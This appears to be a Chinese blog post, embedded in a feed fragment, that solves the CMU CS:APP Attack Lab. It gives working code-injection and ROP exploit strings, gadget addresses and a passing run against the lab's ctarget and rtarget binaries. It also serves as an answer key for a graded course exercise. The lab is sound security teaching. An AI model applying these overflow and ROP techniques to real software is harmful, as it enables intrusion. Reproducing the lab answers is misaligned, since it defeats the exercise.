&lt;pre&gt;&lt;code&gt; /* Compare string to hex represention of unsigned value */
 int hexmatch(unsigned val, char *sval)
 {
char cbuf[110];
 /* Make position of check string unpredictable */
 char *s = cbuf + random() % 100;
 sprintf(s, &quot;%.8x&quot;, val);
 return strncmp(sval, s, 9) == 0;
 }
 
void touch3(char *sval)
 {
 vlevel = 3; /* Part of validation protocol */
 if (hexmatch(cookie, sval)) {
 printf(&quot;Touch3!: You called touch3(\&quot;%s\&quot;)\n&quot;, sval);
 validate(3);
 } else {
 printf(&quot;Misfire: You called touch3(\&quot;%s\&quot;)\n&quot;, sval);
 fail(3);
 }
 exit(0);
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;您的任务是将 CTARGET 执行 touch3 的代码，而不是返回到测试。您必须让 touch3 看起来像是您传递了
个字符串表示的 cookie 作为其参数。
一些建议:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;您需要在您的漏洞字符串中包含 cookie 的字符串表示形式。该字符串应由从最高有效位到最低有效位的八个十六进制数字组成，无需前缀“0x.&quot;&lt;/li&gt;
&lt;li&gt;回忆一下，在C语言中，字符串表示为一系列字节，后面跟着一个值为0的字节。在任何 Linux 机器上输入“man ascii”以查看所需字符的字节表示。&lt;/li&gt;
&lt;li&gt;您的注入代码应将寄存器%rdi 设置为该字符串的地址。&lt;/li&gt;
&lt;li&gt;当调用 hexmatch 和 strncmp 函数时，它们会将数据推送到栈上，覆盖了 getbuf 所使用的缓冲区所占用的内存部分。因此，您需要小心放置您 cookie 的字符串表示形式。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;解答：&lt;/h3&gt;
&lt;p&gt;先将我们的 cookie 值进行转换，得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;35 39 62 39 39 37 66 61
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;hexmatch 函数是将我们传入 touch3 的值与 cookie 值进行对比，所以这里如何将 cookie 对应的 &lt;em&gt;35 39 62 39 39 37 66 61&lt;/em&gt; 传入进去成了关键。&lt;/p&gt;
&lt;p&gt;首先先将 level2 的内容做一点小改动，将 touch2 的地址改为 touch3：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov $0x59b997fa %rdi
pushq $0x4018fa /* 这里的 pushq 将 touch3 压入栈，栈指针会下移*/
retq  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;例行转换：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;1lev3.o:     file format elf64-x86-64
Disassembly of section .text:
0000000000000000 &amp;#x3C;.text&gt;:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来就是确定 touch3 调用的 hexmatch 究竟覆盖了多少，这里应该可以通过查看 touch3 以及 hexmatch 直接进行计算。&lt;/p&gt;
&lt;p&gt;看一下 touch3 和 hexmatch 干了什么:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;00000000004018fa &amp;#x3C;touch3&gt;:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc &amp;#x3C;vlevel&gt;
  401905:	00 00 00 
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 &amp;#x3C;cookie&gt;
  401911:	e8 36 ff ff ff       	callq  40184c &amp;#x3C;hexmatch&gt;
  401916:	85 c0                	test   %eax,%eax
  401918:	74 23                	je     40193d &amp;#x3C;touch3+0x43&gt;
  40191a:	48 89 da             	mov    %rbx,%rdx
  40191d:	be 38 31 40 00       	mov    $0x403138,%esi
  401922:	bf 01 00 00 00       	mov    $0x1,%edi
  401927:	b8 00 00 00 00       	mov    $0x0,%eax
  40192c:	e8 bf f4 ff ff       	callq  400df0 &amp;#x3C;__printf_chk@plt&gt;
  401931:	bf 03 00 00 00       	mov    $0x3,%edi
  401936:	e8 52 03 00 00       	callq  401c8d &amp;#x3C;validate&gt;
  40193b:	eb 21                	jmp    40195e &amp;#x3C;touch3+0x64&gt;
  40193d:	48 89 da             	mov    %rbx,%rdx
  401940:	be 60 31 40 00       	mov    $0x403160,%esi
  401945:	bf 01 00 00 00       	mov    $0x1,%edi
  40194a:	b8 00 00 00 00       	mov    $0x0,%eax
  40194f:	e8 9c f4 ff ff       	callq  400df0 &amp;#x3C;__printf_chk@plt&gt;
  401954:	bf 03 00 00 00       	mov    $0x3,%edi
  401959:	e8 f1 03 00 00       	callq  401d4f &amp;#x3C;fail&gt;
  40195e:	bf 00 00 00 00       	mov    $0x0,%edi
  401963:	e8 d8 f4 ff ff       	callq  400e40 &amp;#x3C;exit@plt&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;hexmatch：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;000000000040184c &amp;#x3C;hexmatch&gt;:
  40184c:	41 54                	push   %r12
  40184e:	55                   	push   %rbp
  40184f:	53                   	push   %rbx
  401850:	48 83 c4 80          	add    $0xffffffffffffff80,%rsp
  401854:	41 89 fc             	mov    %edi,%r12d
  401857:	48 89 f5             	mov    %rsi,%rbp
  40185a:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  401861:	00 00 
  401863:	48 89 44 24 78       	mov    %rax,0x78(%rsp)
  401868:	31 c0                	xor    %eax,%eax
  40186a:	e8 41 f5 ff ff       	callq  400db0 &amp;#x3C;random@plt&gt;
  40186f:	48 89 c1             	mov    %rax,%rcx
  401872:	48 ba 0b d7 a3 70 3d 	movabs $0xa3d70a3d70a3d70b,%rdx
  401879:	0a d7 a3 
  40187c:	48 f7 ea             	imul   %rdx
  40187f:	48 01 ca             	add    %rcx,%rdx
  401882:	48 c1 fa 06          	sar    $0x6,%rdx
  401886:	48 89 c8             	mov    %rcx,%rax
  401889:	48 c1 f8 3f          	sar    $0x3f,%rax
  40188d:	48 29 c2             	sub    %rax,%rdx
  401890:	48 8d 04 92          	lea    (%rdx,%rdx,4),%rax
  401894:	48 8d 04 80          	lea    (%rax,%rax,4),%rax
  401898:	48 c1 e0 02          	shl    $0x2,%rax
  40189c:	48 29 c1             	sub    %rax,%rcx
  40189f:	48 8d 1c 0c          	lea    (%rsp,%rcx,1),%rbx
  4018a3:	45 89 e0             	mov    %r12d,%r8d
  4018a6:	b9 e2 30 40 00       	mov    $0x4030e2,%ecx
  4018ab:	48 c7 c2 ff ff ff ff 	mov    $0xffffffffffffffff,%rdx
  4018b2:	be 01 00 00 00       	mov    $0x1,%esi
  4018b7:	48 89 df             	mov    %rbx,%rdi
  4018ba:	b8 00 00 00 00       	mov    $0x0,%eax
  4018bf:	e8 ac f5 ff ff       	callq  400e70 &amp;#x3C;__sprintf_chk@plt&gt;
  4018c4:	ba 09 00 00 00       	mov    $0x9,%edx
  4018c9:	48 89 de             	mov    %rbx,%rsi
  4018cc:	48 89 ef             	mov    %rbp,%rdi
  4018cf:	e8 cc f3 ff ff       	callq  400ca0 &amp;#x3C;strncmp@plt&gt;
  4018d4:	85 c0                	test   %eax,%eax
  4018d6:	0f 94 c0             	sete   %al
  4018d9:	0f b6 c0             	movzbl %al,%eax
  4018dc:	48 8b 74 24 78       	mov    0x78(%rsp),%rsi
  4018e1:	64 48 33 34 25 28 00 	xor    %fs:0x28,%rsi
  4018e8:	00 00 
  4018ea:	74 05                	je     4018f1 &amp;#x3C;hexmatch+0xa5&gt;
  4018ec:	e8 ef f3 ff ff       	callq  400ce0 &amp;#x3C;__stack_chk_fail@plt&gt;
  4018f1:	48 83 ec 80          	sub    $0xffffffffffffff80,%rsp
  4018f5:	5b                   	pop    %rbx
  4018f6:	5d                   	pop    %rbp
  4018f7:	41 5c                	pop    %r12
  4018f9:	c3                   	retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于 touch3 开头就使用了 push   %rbx，将 %rbx 的值写入了栈中，接着使用  callq 调用了 hexmatch 函数，这个操作也会把 0x401916 返回地址写入 touch3 的栈帧中。在 hexmatch 的开头，连续使用了三条 push指令，修改了栈的内容。以上的几个操作会改变 buf 缓冲区的内容。&lt;/p&gt;
&lt;p&gt;让 gpt 画了下大概是这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;+----------------------+
| test 的栈帧          |
+----------------------+
| 00 00 40 18 4c      |  &amp;#x3C;---- %rsp ① 跳转到 touch3
+----------------------+
| push %rbx           |  &amp;#x3C;---- %rsp ② push %rbx
+----------------------+
| callq 40184c        |  &amp;#x3C;---- %rsp ③ 调用 hexmatch
+----------------------+
| (padding)           |
| (对齐数据)           |
+----------------------+
| 重叠 8 个字节       |  &amp;#x3C;---- %rsp ④ 这里有连续三条 push 指令
+----------------------+
| buf (0x5561dc78)    |
| (存放输入数据)       |
| ...                 |
+----------------------+
| cbuf (0x5561dc00)   |  &amp;#x3C;---- %rsp ⑤ add $0xffffffffffffff80, %rsp
| (更多缓冲区空间)     |
+----------------------+

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以为了避免 cookie 值被覆盖掉，我们放在字符串的最后，注意一下计算就可以了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;48 c7 c7 a8 dc 61 55 /* mov    $0x5561dca8,%rdi */
68 fa 18 40 00       /* pushq  $0x4018fa */
c3                   /* retq */
00 00 00 00 00
00 00 00 00 00 
00 00 00 00 00 
00 00 00 00 00 
00 00 00 00 00 
00 00 78 dc 61 
55 00 00 00 00          /* buf 起始地址 */
35 39 62 39 39 37 66 61 00       /* cookie: 0x59b997fa */

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此，就解决了 CI 攻击：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ubuntu@192.168.174.130 ~/Desktop/attacklab/target1 % cat 1lev3.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3(&quot;59b997fa&quot;)
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;第二部分：ROP（Return-Oriented Programming）&lt;/h1&gt;
&lt;p&gt;对程序 RTARGET 执行代码注入攻击比 CTARGET 要困难得多，因为它使用了两种技术来阻止此类攻击：&lt;/p&gt;
&lt;p&gt;它使用随机化，使得每次运行的栈位置都不同。这使得无法确定您的注入代码将位于何处。&lt;/p&gt;
&lt;p&gt;它将包含堆栈的内存部分标记为不可执行，因此即使你可以将程序计数器设置为注入代码的起始位置，程序也会因段错误而失败。&lt;/p&gt;
&lt;p&gt;幸运的是，聪明的人已经设计了通过执行现有代码而不是注入新代码来完成有用事情的战略。这种最一般的形式被称为返回导向编程（ROP）[1, 2]。ROP 的策略是识别现有程序中由一个或多个指令后跟指令 ret 组成的字节序列。这样的段被称为 &lt;em&gt;gadget&lt;/em&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/attacklab1.png&quot; alt=&quot;rop&quot;&gt;&lt;/p&gt;
&lt;p&gt;图 2 说明了如何设置栈来执行一系列 nn 个 gadget。在该示例中，栈包含一系列 gadget 的地址。每个 gadget 由一系列指令字节组成，最后一个字节是 0xc3，编码了 &lt;code&gt;ret&lt;/code&gt;（返回）指令。当程序从这个配置开始执行 &lt;code&gt;ret&lt;/code&gt; 指令时，它会触发一连串的 gadget 执行，每个 gadget 的末尾 &lt;code&gt;ret&lt;/code&gt; 指令会导致程序跳转到下一个 gadget 的起始位置。&lt;/p&gt;
&lt;p&gt;一个 gadget 可以利用编译器生成的与汇编语言语句对应的代码，特别是函数末尾的代码段。在实际情况中，可能会存在一些可用于攻击的 gadget，但并不足以实现许多关键的操作。例如，一个编译后的函数很可能不会以 &lt;code&gt;popq %rdi&lt;/code&gt; 作为 &lt;code&gt;ret&lt;/code&gt; 之前的最后一条指令。不过，在 x86-64 这样支持字节寻址的指令集中，我们可以通过提取指令字节模式，在其他代码片段中找到这样的 gadget。&lt;/p&gt;
&lt;p&gt;例如，某个版本的 &lt;code&gt;rtarget&lt;/code&gt; 包含了如下 C 代码生成的指令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;void setval_210(unsigned *p)
{
    *p = 3347663060U;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从攻击系统的角度来看，这个函数的利用价值似乎很低。但如果我们查看该函数的反汇编代码，会发现一个有趣的字节序列：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;0000000000400f15 &amp;#x3C;setval_210&gt;:
  400f15:   c7 07 d4 48 89 c7   movl    $0xc78948d4, (%rdi)
  400f1b:   c3                   retq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;例如，rtarget 的一个版本包含以下 C 函数生成的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;400f15:  c7 07 d4 48 89 c7  将 0xc78948d4 的值移动到(%rdi)寄存器 400f1b:  c3  返回
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字节序列 48 89 c7 编码指令 movq %rax, %rdi。（参见图 3A 了解有用的 movq 指令编码。）此序列之后 是字节值 c3，它编码 ret 指令。函数从地址 0x400f15 开始，序列从函数的第四个字节开始。因此，此代码 包含一个 gadget，起始地址为 0x400f18，它将寄存器 %rax 中的 64 位值复制到寄存器 %rdi。&lt;/p&gt;
&lt;p&gt;您的 RTARGET 代码中包含许多类似于上面显示的 setval_210 函数的功能，这些功能位于我们称之 为“gadget farm”的区域。您的任务是识别 gadget farm 中有用的 gadget，并使用这些 gadget 执行 类似于您在 2 和 3 阶段所做攻击的攻击。 重要：在您的 rtarget 复制中，通过 start_farm 和 end_farm 函数定义了 gadget farm 的边界。不要尝试 从程序代码的其他部分构建 gadgets。&lt;/p&gt;
&lt;h2&gt;level : 2&lt;/h2&gt;
&lt;p&gt;对于第 4 阶段，您将重复第 2 阶段的攻击，但使用来自您的 gadget 农场中的 gadget 在程序 RTARGET 上 执行。您可以使用以下指令类型的 gadget 构建解决方案，并且仅使用前八个 x86-64 寄存器（%rax %rdi）。 这些代码在图 3A 中显示。 popq：这些代码在图 3B 中显示。 ret : 此指令由单个字节 0xc3 编码。 nop：这条指令（发音为“no op”，是“no operation”的缩写）由单个字节 0x90 编码。它的唯一效果是 使程序计数器增加 1。&lt;/p&gt;
&lt;p&gt;一些建议：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;所有您需要的设备都可以在由 start_farm 和 mid_farm 函数划定的 rtarget 代码区域中找到。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;您可以使用仅两个组件执行此攻击。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当设备使用 popq 指令时，它将从堆栈中弹出数据。因此，您的利用字符串将包含设备地址和数据组合。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;解答：&lt;/h3&gt;
&lt;p&gt;我对于 ROP 攻击的理解就是在代码里东拼西凑，通过跳转拼出一份到达自己目的代码，有点类似&lt;s&gt;拼好饭&lt;/s&gt;。&lt;/p&gt;
&lt;p&gt;接下来就需要在 vscode 里搜索一些小片段。由于教授友情提示了 ：&lt;/p&gt;
&lt;p&gt;&lt;em&gt;您可以使用仅两个组件执行此攻击。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;当设备使用 popq 指令时，它将从堆栈中弹出数据。因此，您的利用字符串将包含设备地址和数据组合。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;根据我们在 level2 中的内容，我们可以尝试用以下代码来构造：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;popq %rax
movq %rax, %rdi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么我们先找 popq 指令，在附录中可以查到对应的机器码 pop %rax 为58 ， movq %rax , %rdi 为 48 89 c7。在指定范围内搜索可以得到：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;00000000004019a7 &amp;#x3C;addval_219&gt;:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;00000000004019ca &amp;#x3C;getval_280&gt;:
  4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  4019cf:	c3                   	retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这两条指令由于后接的 retq 均可以用于构造  gadget，地址为  0x4019ab 或者 0x4019cc。&lt;/p&gt;
&lt;p&gt;接下来寻找 48 89 c7：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;00000000004019c3 &amp;#x3C;setval_426&gt;:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此我们可以通过 gadget 构造出我们想要的内容了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;00 00 00 00 00
00 00 00 00 00 
00 00 00 00 00 
00 00 00 00 00 
00 00 00 00 00 
00 00 00 00 00 
00 00 00 00 00 
00 00 00 00 00
ab 19 40 00 00 00 00 00 /* addval_219: popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie: 0x59b997fa */
c5 19 40 00 00 00 00 00 /* setval_426: movq %rax, %rdi */
ec 17 40 00 00 00 00 00 /* touch2 地址 */

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;over。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;level : 3&lt;/h2&gt;
&lt;p&gt;在开始第五阶段之前，请暂停一下，思考一下你到目前为止所取得的成就。在第二阶段和第三阶段，你使一 个程序执行了你自己设计的机器代码。&lt;/p&gt;
&lt;p&gt;如果 CTARGET 是一个网络服务器，你就可以将你自己的代码注入到 远程机器中。在第四阶段，你绕过了现代系统用来阻止缓冲区溢出攻击的主要设备中的两个。尽管你没有注 入你自己的代码，但你能够注入一种通过拼接现有代码序列来运行的程序类型。&lt;/p&gt;
&lt;p&gt;你还在实验室中获得了 95/100 分。这是一个不错的分数。如果你有其他紧迫的义务，考虑现在就停止。 第五阶段要求你在 RTARGET 上执行 ROP 攻击以调用 touch3 函数，使用你 cookie 的字符串表示形式的 指针。这可能并不比使用 ROP 攻击调用 touch2 困难多少，但我们已经让它变得如此。&lt;/p&gt;
&lt;p&gt;此外，第五阶段只 占 5 分，这并不是衡量所需努力的真正标准。把它看作是一个对于那些想要超越课程正常期望的人的额外加分问题。&lt;/p&gt;
&lt;p&gt;要解决第 5 阶段，您可以使用由函数 start_farm 和 end_farm 定义的 rtarget 代码区域的 gadget。除了第 4 阶段使用的 gadget 外，这个扩展的 farm 还包括不同 movl 指令的编码，如图 3C 所示。该部分 farm 的 字节序列还包含 2 字节指令，作为功能 nop 使用，即它们不会改变任何寄存器或内存值。这包括如图 3D 所 示的指令，例如 andb %al,%al，这些指令操作某些寄存器的低字节但不会改变它们的值&lt;/p&gt;
&lt;p&gt;一些建议：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;您需要查看 movl 指令对寄存器高 4 字节的影响，如文本第 183 页所述。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;官方解决方案需要八个设备（其中并非所有都是独特的）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;祝你好运，玩得开心!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;解答:&lt;/h3&gt;
&lt;p&gt;累了，改日补上。很喜欢 cmu 教授的一句话 ：&lt;/p&gt;
&lt;p&gt;&lt;em&gt;此外，第五阶段只 占 5 分，这并不是衡量所需努力的真正标准。把它看作是一个对于那些想要超越课程正常期望的人的额外加分问题。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;事已至此，先去吃个饭(￣▽￣)&quot;。&lt;/p&gt;
&lt;h2&gt;对应图片：&lt;/h2&gt;
&lt;h3&gt;A. mov 指令的编码&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/attacklab2.png&quot; alt=&quot;A&quot;&gt;&lt;/p&gt;
&lt;h3&gt;B.popq 指令的编码&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/attacklab3.png&quot; alt=&quot;B&quot;&gt;&lt;/p&gt;
&lt;h3&gt;C.movl 指令的编码&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/attacklab4.png&quot; alt=&quot;C&quot;&gt;&lt;/p&gt;
&lt;h3&gt;D. 2 字节功能空操作指令的编码&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/attacklab5.png&quot; alt=&quot;D&quot;&gt;&lt;/p&gt;
&lt;h1&gt;附录：&lt;/h1&gt;
&lt;h3&gt;&lt;strong&gt;A 使用 HEX2RAW&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;HEX2RAW 以&lt;strong&gt;十六进制格式的字符串&lt;/strong&gt;作为输入。在这种格式中，每个字节值由两个十六进制数字表示。例如，字符串 &lt;code&gt;&quot;012345&quot;&lt;/code&gt; 可以转换为十六进制格式 &lt;code&gt;&quot;30 31 32 33 34 35 00&quot;&lt;/code&gt;。（请注意，ASCII 码中十进制数字 &lt;code&gt;x&lt;/code&gt; 的十六进制表示是 &lt;code&gt;0x3x&lt;/code&gt;，字符串的结尾通常用 &lt;code&gt;0x00&lt;/code&gt; 作为空字节表示。）&lt;/p&gt;
&lt;p&gt;你传递给 HEX2RAW 的十六进制字符应&lt;strong&gt;使用空格（空格或换行符）分隔&lt;/strong&gt;。建议在编写漏洞利用字符串时，使用换行符分隔不同部分，以提高可读性。
HEX2RAW 支持 &lt;strong&gt;C 风格的块注释&lt;/strong&gt;，你可以用它标记字符串的不同部分。例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;48 c7 c1 f0 11 40 00  /* mov  $0x40011f0,%rcx */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;请务必在注释的起始（&lt;code&gt;/*&lt;/code&gt;）和结束（&lt;code&gt;*/&lt;/code&gt;）标记周围留出空格，以确保它们能够被正确忽略。&lt;/p&gt;
&lt;p&gt;如果你在文件 &lt;code&gt;exploit.txt&lt;/code&gt; 中生成了十六进制格式的漏洞利用字符串，你可以通过多种方式将其应用于 &lt;code&gt;CTARGET&lt;/code&gt; 或 &lt;code&gt;RTARGET&lt;/code&gt;。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;你可以使用 &lt;strong&gt;管道（pipes）&lt;/strong&gt; 方式将字符串传递给 HEX2RAW：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;unix&gt; cat exploit.txt | ./hex2raw | ./ctarget
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;你可以使用 &lt;strong&gt;I/O 重定向&lt;/strong&gt; 存储原始字符串并传输：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;unix&gt; ./hex2raw &amp;#x3C; exploit.txt &gt; exploit-raw.txt
unix&gt; ./ctarget &amp;#x3C; exploit-raw.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这种方法同样适用于 &lt;strong&gt;GDB 调试环境&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unix&gt; gdb ctarget
(gdb) run &amp;#x3C; exploit-raw.tx
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;
&lt;p&gt;你可以将原始字符串存储在文件中，并将文件名作为命令行参数提供：&lt;/p&gt;
&lt;p&gt;unix&gt; ./hex2raw &amp;#x3C; exploit.txt &gt; exploit-raw.txt
unix&gt; ./ctarget -i exploit-raw.txt&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这种方法也可以在GDB中使用。&lt;/p&gt;
&lt;h3&gt;B 生成字节码&lt;/h3&gt;
&lt;p&gt;使用GCC作为汇编器，OBJDUMP作为反汇编器，可以方便地生成指令序列的字节码。例如，假设你编写了一个包含以下汇编代码的文件 &lt;code&gt;example.s&lt;/code&gt;：&lt;/p&gt;
&lt;h3&gt;手工生成的汇编代码示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pushq $0xabcdef    # 将值压入堆栈
addq $17,%rax    # 将17加到%rax
movl %eax,%edx    # 将低32位复制到%edx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码可以包含指令和数据的混合。&lt;code&gt;#&lt;/code&gt;字符右侧的任何内容都是注释。&lt;/p&gt;
&lt;p&gt;你现在可以汇编并反汇编这个文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unix&gt; gcc -c example.s
unix&gt; objdump -d example.o &gt; example.d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成的 &lt;code&gt;example.d&lt;/code&gt; 文件包含以下内容：&lt;/p&gt;
&lt;p&gt;example.o:    文件格式 elf64-x86-64&lt;/p&gt;
&lt;p&gt;.text 部分的反汇编：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000000000000000 &amp;#x3C;.text&gt;:
0: 68 ef cd ab 00    pushq $0xabcdef
5: 48 83 c0 11       add $0x11,%rax
9: 89 c2             mov %eax,%edx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;底部的行显示了从汇编语言指令生成的机器码。每行左侧有一个十六进制数字，表示指令的起始地址（从0开始），而&lt;code&gt;:&lt;/code&gt; 字符后的十六进制数字表示指令的字节码。因此，我们可以看到指令 &lt;code&gt;push $0xABCDEF&lt;/code&gt; 的十六进制格式字节码是 &lt;code&gt;68 ef cd ab 00&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;从这个文件中，你可以获取代码的字节序列：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;68 ef cd ab 00 48 83 c0 11 89 c2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个字符串可以通过 &lt;code&gt;HEX2RAW&lt;/code&gt; 工具生成目标程序的输入字符串。或者，你可以编辑 &lt;code&gt;example.d&lt;/code&gt; 文件，省略多余的值并包含 C 风格的注释以提高可读性，得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;68 ef cd ab 00 /* pushq $0xabcdef */  
48 83 c0 11 /* add $0x11,$rax */  
89 c2 /* mov $eax,%edx */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这也是一个有效的输入，你可以先通过 &lt;code&gt;HEX2RAW&lt;/code&gt; 处理，然后发送给目标程序。&lt;/p&gt;
&lt;h3&gt;参考文献&lt;/h3&gt;
&lt;p&gt;[1] R. Roemer, E. Buchanan, H. Shacham, 和 S. Savage. 返回导向编程：系统、语言和应用。ACM 信息系统安全交易，15(1):2:1–2:34，2012 年 3 月。&lt;/p&gt;
&lt;p&gt;[2] E. J. Schwartz, T. Avgerinos, 和 D. Brumley. Q: 漏洞利用加固变得简单。在 USENIX 安全研讨会，2011 年。&lt;/p&gt;
&lt;h2&gt;参考过的 blog：&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://wdxtub.com/csapp/thick-csapp-lab-3/2016/04/16/&quot;&gt;【读厚 CSAPP】III Attack Lab&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://lrl52.top/753/csapp-labattack-lab/&quot;&gt;CSAPP Lab：Attack Lab&lt;/a&gt;&lt;/p&gt;</content:encoded><category>学习</category></item><item><title>Memos 6:-年轻人的第一台ecs</title><link>https://cry4o4n0tfound.cn/blog/memos-6-%E5%B9%B4%E8%BD%BB%E4%BA%BA%E7%9A%84%E7%AC%AC%E4%B8%80%E5%8F%B0ecs/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-6-%E5%B9%B4%E8%BD%BB%E4%BA%BA%E7%9A%84%E7%AC%AC%E4%B8%80%E5%8F%B0ecs/</guid><pubDate>Sat, 15 Feb 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;年轻人的第一台 ecs：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Whether it’s working on a project, solving a difficult problem, or even refining soft skills like communication, the act of showing up and putting in the hours is essential. Practice makes perfect, but more so it’s all about progress rather than perfection. Each hour you spend iterating, refining, failing and retrying brings you closer to excellence. It doesn’t always feel that way in the moment but when you look back at what you did before, you will see your progress. And that act of looking back, and seeing how you improved, is immensely rewarding and in turn makes you enjoy your work.&lt;/p&gt;
&lt;/blockquote&gt;
